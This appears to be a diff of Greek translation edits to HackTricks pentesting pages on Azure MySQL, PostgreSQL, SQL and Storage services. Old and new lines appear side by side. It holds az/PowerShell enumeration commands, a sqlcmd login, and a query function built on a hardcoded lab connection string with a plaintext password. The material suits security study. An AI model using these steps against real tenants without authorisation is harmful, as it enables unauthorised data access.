Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
<summary>Support HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
@@ -28,13 +28,13 @@
- Χαρακτηριστικά περιλαμβάνουν ελαστική κλιμάκωση, διαχείριση ενημερώσεων και βελτιστοποίηση φορτίου εργασίας.
- Προσφέρει λειτουργία διακοπής/εκκίνησης για εξοικονόμηση κόστους.
### Κύρια Χαρακτηριστικά
* **Διαχείριση Διακομιστή**: Η δυνατότητα **ad-admin** επιτρέπει τη διαχείριση των διαχειριστών Azure Active Directory (AAD) για τους διακομιστές MySQL, παρέχοντας έλεγχο στην πρόσβαση διαχείρισης μέσω διαπιστευτηρίων AAD, ενώ η δυνατότητα **identity** επιτρέπει την ανάθεση και διαχείριση των Azure Managed Identities, προσφέροντας ασφαλή, χωρίς διαπιστευτήρια, αυθεντικοποίηση για την πρόσβαση σε πόρους Azure.
* **Διαχείριση Κύκλου Ζωής**: επιλογές για εκκίνηση ή διακοπή ενός διακομιστή, διαγραφή μιας ευέλικτης παρουσίας διακομιστή, επανεκκίνηση ενός διακομιστή για γρήγορη εφαρμογή αλλαγών διαμόρφωσης και αναμονή για να διασφαλιστεί ότι ένας διακομιστής πληροί συγκεκριμένες προϋποθέσεις πριν προχωρήσει με αυτοματοποιημένα σενάρια.
* **Ασφάλεια και Δικτύωση**: μπορεί να διαχειριστεί κανόνες τείχους προστασίας διακομιστή για ασφαλή πρόσβαση στη βάση δεδομένων και να αποσυνδέσει τις ρυθμίσεις εικονικού δικτύου όπως απαιτείται.
* **Προστασία Δεδομένων και Αντίγραφα Ασφαλείας**: περιλαμβάνει επιλογές για τη διαχείριση των αντιγράφων ασφαλείας ευέλικτου διακομιστή για ανάκτηση δεδομένων, εκτέλεση γεω-αποκατάστασης για την ανάκτηση ενός διακομιστή σε διαφορετική περιοχή, εξαγωγή αντιγράφων ασφαλείας διακομιστή για εξωτερική χρήση (σε Προεπισκόπηση) και αποκατάσταση ενός διακομιστή από αντίγραφο ασφαλείας σε συγκεκριμένη χρονική στιγμή.
### Key Features
* **Server Management**: Η δυνατότητα **ad-admin** επιτρέπει τη διαχείριση των διαχειριστών Azure Active Directory (AAD) για τους διακομιστές MySQL, παρέχοντας έλεγχο στην πρόσβαση των διαχειριστών μέσω διαπιστευτηρίων AAD, ενώ η δυνατότητα **identity** επιτρέπει την ανάθεση και τη διαχείριση των Azure Managed Identities, προσφέροντας ασφαλή, χωρίς διαπιστευτήρια, αυθεντικοποίηση για την πρόσβαση σε πόρους Azure.
* **Lifecycle Management**: επιλογές για την εκκίνηση ή την διακοπή ενός διακομιστή, τη διαγραφή μιας ευέλικτης παρουσίας διακομιστή, την επανεκκίνηση ενός διακομιστή για γρήγορη εφαρμογή αλλαγών διαμόρφωσης και την αναμονή για να διασφαλιστεί ότι ένας διακομιστής πληροί συγκεκριμένες προϋποθέσεις πριν προχωρήσει με τα αυτοματοποιημένα σενάρια.
* **Security and Networking**: μπορεί να διαχειριστεί κανόνες τείχους προστασίας διακομιστή για ασφαλή πρόσβαση στη βάση δεδομένων και να αποσυνδέσει τις ρυθμίσεις εικονικού δικτύου όπως απαιτείται.
* **Data Protection and Backup**: περιλαμβάνει επιλογές για τη διαχείριση των αντιγράφων ασφαλείας ευέλικτου διακομιστή για ανάκτηση δεδομένων, εκτέλεση γεω-αποκατάστασης για την ανάκτηση ενός διακομιστή σε διαφορετική περιοχή, εξαγωγή αντιγράφων ασφαλείας διακομιστή για εξωτερική χρήση (σε Προεπισκόπηση) και αποκατάσταση ενός διακομιστή από αντίγραφο ασφαλείας σε συγκεκριμένη χρονική στιγμή.
### Αριθμητική
### Enumeration
{% tabs %}
{% tab title="az cli" %}
@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.MySql
# Get all flexible servers in a resource group
@@ -138,7 +138,7 @@ mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
```
{% endcode %}
Επίσης, μπορείτε να εκτελέσετε ερωτήματα με το github, αλλά απαιτούνται επίσης ο κωδικός πρόσβασης και ο χρήστης. Πρέπει να ρυθμίσετε ένα αρχείο sql με το ερώτημα που θέλετε να εκτελέσετε και στη συνέχεια:
Επίσης, μπορείτε να εκτελέσετε ερωτήματα με το github, αλλά χρειάζεστε επίσης τον κωδικό πρόσβασης και τον χρήστη. Πρέπει να ρυθμίσετε ένα αρχείο sql με το ερώτημα που θέλετε να εκτελέσετε και στη συνέχεια:
{% code overflow="wrap" %}
```bash
# Setup
@@ -160,7 +160,7 @@ az mysql flexible-server deploy run \
```
{% endcode %}
## Ανύψωση Δικαιωμάτων
## Ανύψωση Προνομίων
{% content-ref url="../az-privilege-escalation/az-mysql-privesc.md" %}
[az-mysql-privesc.md](../az-privilege-escalation/az-mysql-privesc.md)
@@ -174,7 +174,7 @@ az mysql flexible-server deploy run \
## ToDo
* Δείτε έναν τρόπο πρόσβασης με mysql flexible-server ad-admin για να επαληθεύσετε ότι είναι μέθοδος ανύψωσης δικαιωμάτων
* Δείτε έναν τρόπο πρόσβασης με mysql flexible-server ad-admin για να επαληθεύσετε ότι είναι μέθοδος ανύψωσης προνομίων
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
@@ -26,12 +26,12 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
- Παρέχει μεγαλύτερο έλεγχο στη διαχείριση και τη διαμόρφωση της βάσης δεδομένων.
- Υποστηρίζει υψηλή διαθεσιμότητα, τόσο στην ίδια ζώνη όσο και σε διαφορετικές ζώνες.
- Διαθέτει ελαστική κλιμάκωση, αυτοματοποιημένη συντήρηση και λειτουργίες εξοικονόμησης κόστους.
- Επιτρέπει την εκκίνηση και τη διακοπή του διακομιστή για βελτιστοποίηση του κόστους.
- Επιτρέπει την εκκίνηση και τη διακοπή του διακομιστή για βελτιστοποίηση κόστους.
### Key Features
* **Custom Maintenance Windows**: Προγραμματίστε ενημερώσεις για να ελαχιστοποιήσετε τις διαταραχές.
* **Active Monitoring**: Πρόσβαση σε λεπτομερείς μετρήσεις και αρχεία καταγραφής για την παρακολούθηση και τη βελτίωση της απόδοσης της βάσης δεδομένων.
* **Active Monitoring**: Πρόσβαση σε λεπτομερείς μετρήσεις και αρχεία καταγραφής για παρακολούθηση και βελτίωση της απόδοσης της βάσης δεδομένων.
* **Stop/Start Server**: Οι χρήστες μπορούν να σταματούν και να ξεκινούν τον διακομιστή.
* **Automatic Backups**: Ενσωματωμένα καθημερινά αντίγραφα ασφαλείας με ρυθμιζόμενες περιόδους διατήρησης έως 35 ημέρες.
* **Role-Based Access**: Έλεγχος δικαιωμάτων χρηστών και διοικητικής πρόσβασης μέσω του Azure Active Directory.
@@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group <resource-group-na
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.PostgreSql
# List flexible-servers in a resource group
@@ -9,16 +9,16 @@
Το Azure SQL αποτελείται από τρεις κύριες προσφορές:
1. **Azure SQL Database**: Αυτή είναι μια **πλήρως διαχειριζόμενη υπηρεσία βάσης δεδομένων**, που σας επιτρέπει να φιλοξενείτε μεμονωμένες βάσεις δεδομένων στο Azure cloud. Προσφέρει ενσωματωμένη νοημοσύνη που μαθαίνει τα μοναδικά πρότυπα της βάσης δεδομένων σας και παρέχει προσαρμοσμένες συστάσεις και αυτόματη ρύθμιση.
2. **Azure SQL Managed Instance**: Αυτό είναι για μεγαλύτερης κλίμακας, πλήρεις αναπτύξεις SQL Server. Παρέχει σχεδόν 100% συμβατότητα με την τελευταία έκδοση SQL Server on-premises (Enterprise Edition) Database Engine, που προσφέρει μια εγγενή υλοποίηση εικονικού δικτύου (VNet) που αντιμετωπίζει κοινές ανησυχίες ασφαλείας, και ένα επιχειρηματικό μοντέλο ευνοϊκό για τους πελάτες SQL Server on-premises.
3. **Azure SQL Server on Azure VMs**: Αυτό είναι Infrastructure as a Service (IaaS) και είναι καλύτερο για μετεγκαταστάσεις όπου θέλετε **έλεγχο του λειτουργικού συστήματος και της αναφοράς SQL Server**, όπως αν ήταν ένας διακομιστής που λειτουργούσε on-premises.
2. **Azure SQL Managed Instance**: Αυτό είναι για μεγαλύτερης κλίμακας, πλήρεις αναπτύξεις SQL Server. Παρέχει σχεδόν 100% συμβατότητα με την τελευταία έκδοση του SQL Server on-premises (Enterprise Edition) Database Engine, που προσφέρει μια εγγενή υλοποίηση εικονικού δικτύου (VNet) που αντιμετωπίζει κοινές ανησυχίες ασφαλείας, και ένα επιχειρηματικό μοντέλο ευνοϊκό για τους πελάτες SQL Server on-premises.
3. **Azure SQL Server on Azure VMs**: Αυτό είναι Infrastructure as a Service (IaaS) και είναι καλύτερο για μετεγκαταστάσεις όπου θέλετε **έλεγχο του λειτουργικού συστήματος και της παρουσίας SQL Server**, όπως αν ήταν ένας διακομιστής που λειτουργούσε on-premises.
### Azure SQL Database
**Azure SQL Database** είναι μια **πλήρως διαχειριζόμενη πλατφόρμα βάσης δεδομένων ως υπηρεσία (PaaS)** που παρέχει κλιμακούμενες και ασφαλείς λύσεις σχεσιακής βάσης δεδομένων. Είναι βασισμένο στις τελευταίες τεχνολογίες SQL Server και εξαλείφει την ανάγκη για διαχείριση υποδομών, καθιστώντας το δημοφιλή επιλογή για εφαρμογές που βασίζονται στο cloud.
**Azure SQL Database** είναι μια **πλήρως διαχειριζόμενη πλατφόρμα βάσης δεδομένων ως υπηρεσία (PaaS)** που παρέχει κλιμακούμενες και ασφαλείς λύσεις σχεσιακής βάσης δεδομένων. Είναι βασισμένη στις τελευταίες τεχνολογίες SQL Server και εξαλείφει την ανάγκη για διαχείριση υποδομών, καθιστώντας την δημοφιλή επιλογή για εφαρμογές που βασίζονται στο cloud.
#### Κύρια Χαρακτηριστικά
- **Πάντα Ενημερωμένο**: Λειτουργεί στην τελευταία σταθερή έκδοση του SQL Server και λαμβάνει αυτόματα νέες δυνατότητες και διορθώσεις.
- **Πάντα Ενημερωμένο**: Λειτουργεί στην τελευταία σταθερή έκδοση του SQL Server και λαμβάνει αυτόματα νέες δυνατότητες και ενημερώσεις.
- **Δυνατότητες PaaS**: Ενσωματωμένη υψηλή διαθεσιμότητα, αντίγραφα ασφαλείας και ενημερώσεις.
- **Ευελιξία Δεδομένων**: Υποστηρίζει σχεσιακά και μη σχεσιακά δεδομένα (π.χ., γραφήματα, JSON, χωρικά και XML).
@@ -35,14 +35,14 @@
- **Μοναδική Βάση Δεδομένων**:
- Μια πλήρως απομονωμένη βάση δεδομένων με τους δικούς της αφιερωμένους πόρους.
- Ιδανικό για μικροϋπηρεσίες ή εφαρμογές που απαιτούν μια μόνο πηγή δεδομένων.
- Ιδανική για μικροϋπηρεσίες ή εφαρμογές που απαιτούν μια μοναδική πηγή δεδομένων.
- **Ελαστική Πισίνα**:
- Επιτρέπει σε πολλές βάσεις δεδομένων να μοιράζονται πόρους εντός μιας πισίνας.
- Οικονομικά αποδοτικό για εφαρμογές με μεταβαλλόμενα πρότυπα χρήσης σε πολλές βάσεις δεδομένων.
- Οικονομικά αποδοτική για εφαρμογές με μεταβαλλόμενα πρότυπα χρήσης σε πολλές βάσεις δεδομένων.
#### Κλιμακούμενη απόδοση και πισίνες
- **Μοναδικές Βάσεις Δεδομένων**: Κάθε βάση δεδομένων είναι απομονωμένη και έχει τους δικούς της αφιερωμένους πόρους υπολογισμού, μνήμης και αποθήκευσης. Οι πόροι μπορούν να κλιμακωθούν δυναμικά (πάνω ή κάτω) χωρίς διακοπή (1128 vCores, 32 GB4 TB αποθήκευση, και έως 128 TB).
- **Μοναδικές Βάσεις Δεδομένων**: Κάθε βάση δεδομένων είναι απομονωμένη και έχει τους δικούς της αφιερωμένους πόρους υπολογιστικής ισχύος, μνήμης και αποθήκευσης. Οι πόροι μπορούν να κλιμακωθούν δυναμικά (πάνω ή κάτω) χωρίς διακοπή (1128 vCores, 32 GB4 TB αποθήκευση, και έως 128 TB).
- **Ελαστικές Πισίνες**: Μοιράζονται πόροι σε πολλές βάσεις δεδομένων σε μια πισίνα για μέγιστη αποδοτικότητα και εξοικονόμηση κόστους. Οι πόροι μπορούν επίσης να κλιμακωθούν δυναμικά για ολόκληρη την πισίνα.
- **Ευελιξία Επιπέδου Υπηρεσίας**: Ξεκινήστε μικρά με μια μοναδική βάση δεδομένων στο επίπεδο Γενικής Χρήσης. Αναβαθμίστε σε Επιχειρηματική Κρίσιμη ή Υπερ-κλίμακα επίπεδα καθώς οι ανάγκες αυξάνονται.
- **Επιλογές Κλιμάκωσης**: Δυναμική Κλιμάκωση ή Εναλλακτικές Αυτόματης Κλιμάκωσης.
@@ -50,7 +50,7 @@
#### Ενσωματωμένη Παρακολούθηση & Βελτιστοποίηση
- **Query Store**: Παρακολουθεί προβλήματα απόδοσης, εντοπίζει τους κορυφαίους καταναλωτές πόρων και προσφέρει εφαρμόσιμες συστάσεις.
- **Αυτόματη Ρύθμιση**: Βελτιστοποιεί προληπτικά την απόδοση με δυνατότητες όπως αυτόματη ευρετηρίαση και διορθώσεις σχεδίων ερωτημάτων.
- **Αυτόματη Ρύθμιση**: Προληπτικά βελτιστοποιεί την απόδοση με δυνατότητες όπως αυτόματη ευρετηρίαση και διορθώσεις σχεδίων ερωτημάτων.
- **Ενοποίηση Τηλεμετρίας**: Υποστηρίζει παρακολούθηση μέσω Azure Monitor, Event Hubs ή Azure Storage για προσαρμοσμένες πληροφορίες.
#### Ανάκτηση από Καταστροφή & Διαθεσιμότητα
@@ -62,7 +62,7 @@
### Azure SQL Managed Instance
**Azure SQL Managed Instance** είναι μια μηχανή βάσης δεδομένων Platform as a Service (PaaS) που προσφέρει σχεδόν 100% συμβατότητα με το SQL Server και χειρίζεται τις περισσότερες διαχειριστικές εργασίες (π.χ., αναβάθμιση, επιδιορθώσεις, αντίγραφα ασφαλείας, παρακολούθηση) αυτόματα. Παρέχει μια λύση cloud για τη μετεγκατάσταση βάσεων δεδομένων SQL Server on-premises με ελάχιστες αλλαγές.
**Azure SQL Managed Instance** είναι μια μηχανή βάσης δεδομένων Platform as a Service (PaaS) που προσφέρει σχεδόν 100% συμβατότητα με το SQL Server και χειρίζεται τις περισσότερες διαχειριστικές εργασίες (π.χ., αναβάθμιση, ενημερώσεις, αντίγραφα ασφαλείας, παρακολούθηση) αυτόματα. Παρέχει μια λύση cloud για τη μετεγκατάσταση βάσεων δεδομένων SQL Server on-premises με ελάχιστες αλλαγές.
#### Επίπεδα Υπηρεσιών
@@ -71,25 +71,25 @@
#### Προηγμένα Χαρακτηριστικά Ασφαλείας
* **Προστασία από Απειλές**: Προηγμένες ειδοποιήσεις Προστασίας από Απειλές για ύποπτες δραστηριότητες και επιθέσεις SQL injection. Επιθεώρηση για παρακολούθηση και καταγραφή γεγονότων βάσης δεδομένων για συμμόρφωση.
* **Έλεγχος Πρόσβασης**: Αυθεντικοποίηση Microsoft Entra για κεντρική διαχείριση ταυτότητας. Ασφάλεια Επίπεδου Γραμμής και Δυναμική Μάσκα Δεδομένων για λεπτομερή έλεγχο πρόσβασης.
* **Προστασία από Απειλές**: Προηγμένες ειδοποιήσεις για ύποπτες δραστηριότητες και επιθέσεις SQL injection. Έλεγχος για την παρακολούθηση και καταγραφή γεγονότων βάσης δεδομένων για συμμόρφωση.
* **Έλεγχος Πρόσβασης**: Αυθεντικοποίηση Microsoft Entra για κεντρική διαχείριση ταυτότητας. Ασφάλεια σε επίπεδο γραμμής και Δυναμική Μάσκα Δεδομένων για λεπτομερή έλεγχο πρόσβασης.
* **Αντίγραφα Ασφαλείας**: Αυτοματοποιημένα και χειροκίνητα αντίγραφα ασφαλείας με δυνατότητα ανάκτησης σημείου στο χρόνο.
### Azure SQL Virtual Machines
**Azure SQL Virtual Machines** είναι καλύτερο για μετεγκαταστάσεις όπου θέλετε **έλεγχο του λειτουργικού συστήματος και της αναφοράς SQL Server**, όπως αν ήταν ένας διακομιστής που λειτουργούσε on-premises. Μπορεί να έχει διαφορετικά μεγέθη μηχανών και μια ευρεία επιλογή εκδόσεων και εκδόσεων SQL Server.
**Azure SQL Virtual Machines** είναι καλύτερο για μετεγκαταστάσεις όπου θέλετε **έλεγχο του λειτουργικού συστήματος και της παρουσίας SQL Server**, όπως αν ήταν ένας διακομιστής που λειτουργούσε on-premises. Μπορεί να έχει διαφορετικά μεγέθη μηχανών και μια ευρεία επιλογή εκδόσεων και εκδόσεων SQL Server.
#### Κύρια Χαρακτηριστικά
**Αυτοματοποιημένο Αντίγραφο Ασφαλείας**: Προγραμματίστε αντίγραφα ασφαλείας για βάσεις δεδομένων SQL.
**Αυτόματη Επιδιόρθωση**: Αυτοματοποιεί την εγκατάσταση ενημερώσεων Windows και SQL Server κατά τη διάρκεια ενός παραθύρου συντήρησης.
**Αυτόματη Ενημέρωση**: Αυτοματοποιεί την εγκατάσταση ενημερώσεων Windows και SQL Server κατά τη διάρκεια ενός παραθύρου συντήρησης.
**Ενοποίηση Azure Key Vault**: Αυτόματα ρυθμίζει το Key Vault για SQL Server VMs.
**Ενοποίηση Defender for Cloud**: Δείτε τις συστάσεις Defender for SQL στην πύλη.
**Ευελιξία Έκδοσης/Έκδοσης**: Αλλάξτε τα μεταδεδομένα έκδοσης ή έκδοσης SQL Server χωρίς να αναπτύξετε ξανά το VM.
#### Χαρακτηριστικά Ασφαλείας
**Microsoft Defender for SQL**: Γνώσεις και ειδοποιήσεις ασφαλείας.
**Microsoft Defender for SQL**: Ενημερώσεις και ειδοποιήσεις ασφαλείας.
**Ενοποίηση Azure Key Vault**: Ασφαλής αποθήκευση διαπιστευτηρίων και κλειδιών κρυπτογράφησης.
**Microsoft Entra (Azure AD)**: Αυθεντικοποίηση και έλεγχος πρόσβασης.
@@ -166,7 +166,7 @@ az sql vm show --resource-group <res-grp> --name <name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
# List Servers
Get-AzSqlServer -ResourceGroupName "<resource-group-name>"
@@ -206,10 +206,10 @@ Get-AzSqlVM
{{#endtab}}
{{#endtabs}}
### Σύνδεση και εκτέλεση SQL ερωτημάτων
### Σύνδεση και εκτέλεση ερωτημάτων SQL
Μπορείτε να βρείτε μια συμβολοσειρά σύνδεσης (που περιέχει διαπιστευτήρια) από το παράδειγμα [enumerating an Az WebApp](az-app-services.md):
```powershell
```bash
function invoke-sql{
param($query)
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
@@ -227,8 +227,8 @@ $Connection.Close()
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
```
Μπορείτε επίσης να χρησιμοποιήσετε το sqlcmd για να αποκτήσετε πρόσβαση στη βάση δεδομένων. Είναι σημαντικό να γνωρίζετε αν ο διακομιστής επιτρέπει δημόσιες συνδέσεις `az sql server show --name <server-name> --resource-group <resource-group>`, και επίσης αν ο κανόνας του τείχους προστασίας επιτρέπει τη διεύθυνση IP μας να έχει πρόσβαση:
```powershell
Μπορείτε επίσης να χρησιμοποιήσετε το sqlcmd για να αποκτήσετε πρόσβαση στη βάση δεδομένων. Είναι σημαντικό να γνωρίζετε αν ο διακομιστής επιτρέπει δημόσιες συνδέσεις `az sql server show --name <server-name> --resource-group <resource-group>`, και επίσης αν ο κανόνας του τείχους προστασίας επιτρέπει στη διεύθυνση IP μας να αποκτήσει πρόσβαση:
```bash
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
```
## Αναφορές
@@ -4,29 +4,29 @@
## Βασικές Πληροφορίες
Οι Λογαριασμοί Αποθήκευσης Azure είναι θεμελιώδεις υπηρεσίες στο Microsoft Azure που παρέχουν κλιμακωτή, ασφαλή και εξαιρετικά διαθέσιμη cloud **αποθήκευση για διάφορους τύπους δεδομένων**, συμπεριλαμβανομένων των blobs (binary large objects), αρχείων, ουρών και πινάκων. Λειτουργούν ως δοχεία που ομαδοποιούν αυτές τις διαφορετικές υπηρεσίες αποθήκευσης κάτω από ένα ενιαίο namespace για εύκολη διαχείριση.
Οι Λογαριασμοί Αποθήκευσης Azure είναι θεμελιώδεις υπηρεσίες στο Microsoft Azure που παρέχουν κλιμακωτή, ασφαλή και εξαιρετικά διαθέσιμη cloud **αποθήκευση για διάφορους τύπους δεδομένων**, συμπεριλαμβανομένων των blobs (μεγάλων δυαδικών αντικειμένων), αρχείων, ουρών και πινάκων. Λειτουργούν ως δοχεία που ομαδοποιούν αυτές τις διαφορετικές υπηρεσίες αποθήκευσης κάτω από ένα ενιαίο όνομα χώρου για εύκολη διαχείριση.
**Κύριες επιλογές διαμόρφωσης**:
- Κάθε λογαριασμός αποθήκευσης πρέπει να έχει ένα **μοναδικό όνομα σε όλους τους Azure**.
- Κάθε λογαριασμός αποθήκευσης αναπτύσσεται σε μια **περιοχή** ή σε μια επεκταμένη ζώνη Azure.
- Είναι δυνατή η επιλογή της **premium** έκδοσης του λογαριασμού αποθήκευσης για καλύτερη απόδοση.
- Είναι δυνατή η επιλογή μεταξύ **4 τύπων πλεονασμού για προστασία** από αποτυχίες ραφιών, δίσκων και κέντρων δεδομένων.
- Είναι δυνατή η επιλογή μεταξύ **4 τύπων πλεονασμού για προστασία** από αποτυχίες rack, δίσκου και κέντρου δεδομένων.
**Επιλογές διαμόρφωσης ασφαλείας**:
- **Απαιτεί ασφαλή μεταφορά για τις λειτουργίες REST API**: Απαιτεί TLS σε οποιαδήποτε επικοινωνία με την αποθήκευση.
- **Επιτρέπει την ενεργοποίηση ανώνυμης πρόσβασης σε μεμονωμένα δοχεία**: Αν όχι, δεν θα είναι δυνατή η ενεργοποίηση ανώνυμης πρόσβασης στο μέλλον.
- **Ενεργοποίηση πρόσβασης με κλειδιά λογαριασμού αποθήκευσης**: Αν όχι, η πρόσβαση με Shared Keys θα απαγορευτεί.
- **Ενεργοποίηση πρόσβασης με κλειδί λογαριασμού αποθήκευσης**: Αν όχι, η πρόσβαση με Κοινά Κλειδιά θα απαγορευτεί.
- **Ελάχιστη έκδοση TLS**.
- **Επιτρεπόμενη έκταση για λειτουργίες αντιγραφής**: Επιτρέπεται από οποιονδήποτε λογαριασμό αποθήκευσης, από οποιονδήποτε λογαριασμό αποθήκευσης από τον ίδιο Entra tenant ή από λογαριασμό αποθήκευσης με ιδιωτικά endpoints στο ίδιο εικονικό δίκτυο.
- **Επιτρεπόμενη έκταση για λειτουργίες αντιγραφής**: Επιτρέπεται από οποιονδήποτε λογαριασμό αποθήκευσης, από οποιονδήποτε λογαριασμό αποθήκευσης από τον ίδιο ενοικιαστή Entra ή από λογαριασμό αποθήκευσης με ιδιωτικά endpoints στο ίδιο εικονικό δίκτυο.
**Επιλογές Blob Storage**:
**Επιλογές Αποθήκευσης Blob**:
- **Επιτρέπεται η διασυνοριακή αναπαραγωγή**.
- **Επίπεδο πρόσβασης**: Hot (συχνά προσβάσιμα δεδομένα), Cool και Cold (σπάνια προσβάσιμα δεδομένα).
**Επιλογές δικτύωσης**:
**Επιλογές Δικτύωσης**:
- **Πρόσβαση δικτύου**:
- Επιτρέπεται από όλα τα δίκτυα.
@@ -34,7 +34,7 @@
- Απενεργοποίηση δημόσιας πρόσβασης και χρήση ιδιωτικής πρόσβασης.
- **Ιδιωτικά endpoints**: Επιτρέπει μια ιδιωτική σύνδεση στον λογαριασμό αποθήκευσης από ένα εικονικό δίκτυο.
**Επιλογές προστασίας δεδομένων**:
**Επιλογές Προστασίας Δεδομένων**:
- **Ανάκτηση σε συγκεκριμένο χρόνο για δοχεία**: Επιτρέπει την αποκατάσταση δοχείων σε προηγούμενη κατάσταση.
- Απαιτεί ενεργοποίηση της εκδοχής, της ροής αλλαγών και της ήπιας διαγραφής blob.
@@ -46,28 +46,28 @@
- **Ενεργοποίηση υποστήριξης αμεταβλητότητας επιπέδου εκδοχής**: Σας επιτρέπει να ορίσετε πολιτική διατήρησης βάσει χρόνου σε επίπεδο λογαριασμού που θα ισχύει για όλες τις εκδόσεις blob.
- Η υποστήριξη αμεταβλητότητας επιπέδου εκδοχής και η ανάκτηση σε συγκεκριμένο χρόνο για δοχεία δεν μπορούν να ενεργοποιηθούν ταυτόχρονα.
**Επιλογές διαμόρφωσης κρυπτογράφησης**:
**Επιλογές Διαμόρφωσης Κρυπτογράφησης**:
- **Τύπος κρυπτογράφησης**: Είναι δυνατή η χρήση κλειδιών που διαχειρίζεται η Microsoft (MMK) ή κλειδιών που διαχειρίζεται ο πελάτης (CMK).
- **Ενεργοποίηση κρυπτογράφησης υποδομής**: Επιτρέπει την διπλή κρυπτογράφηση των δεδομένων "για περισσότερη ασφάλεια".
### Τερματικά Αποθήκευσης
<table data-header-hidden><thead><tr><th width="197">Υπηρεσία Αποθήκευσης</th><th>Τερματικό</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://&#x3C;storage-account>.blob.core.windows.net</code><br><br><code>https://&#x3C;stg-acc>.blob.core.windows.net/&#x3C;container-name>?restype=container&#x26;comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://&#x3C;storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://&#x3C;storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://&#x3C;storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://&#x3C;storage-account>.table.core.windows.net</code></td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="197">Υπηρεσία Αποθήκευσης</th><th>Τερματικό</th></tr></thead><tbody><tr><td><strong>Αποθήκευση Blob</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Αποθήκευση Data Lake</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Αποθήκευση Ουρών</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Αποθήκευση Πινάκων</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
### Δημόσια Έκθεση
Αν η "Επιτρέπεται η δημόσια πρόσβαση Blob" είναι **ενεργοποιημένη** (απενεργοποιημένη από προεπιλογή), κατά τη δημιουργία ενός δοχείου είναι δυνατή η:
Εάν η "Επιτρέπεται η δημόσια πρόσβαση Blob" είναι **ενεργοποιημένη** (απενεργοποιημένη από προεπιλογή), κατά τη δημιουργία ενός δοχείου είναι δυνατή η:
- Παροχή **δημόσιας πρόσβασης για ανάγνωση blobs** (πρέπει να γνωρίζετε το όνομα).
- **Λίστα των blobs του δοχείου** και **ανάγνωση** τους.
- Να γίνει πλήρως **ιδιωτικό**.
- Να είναι πλήρως **ιδιωτικό**.
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
### Σύνδεση με την Αποθήκευση
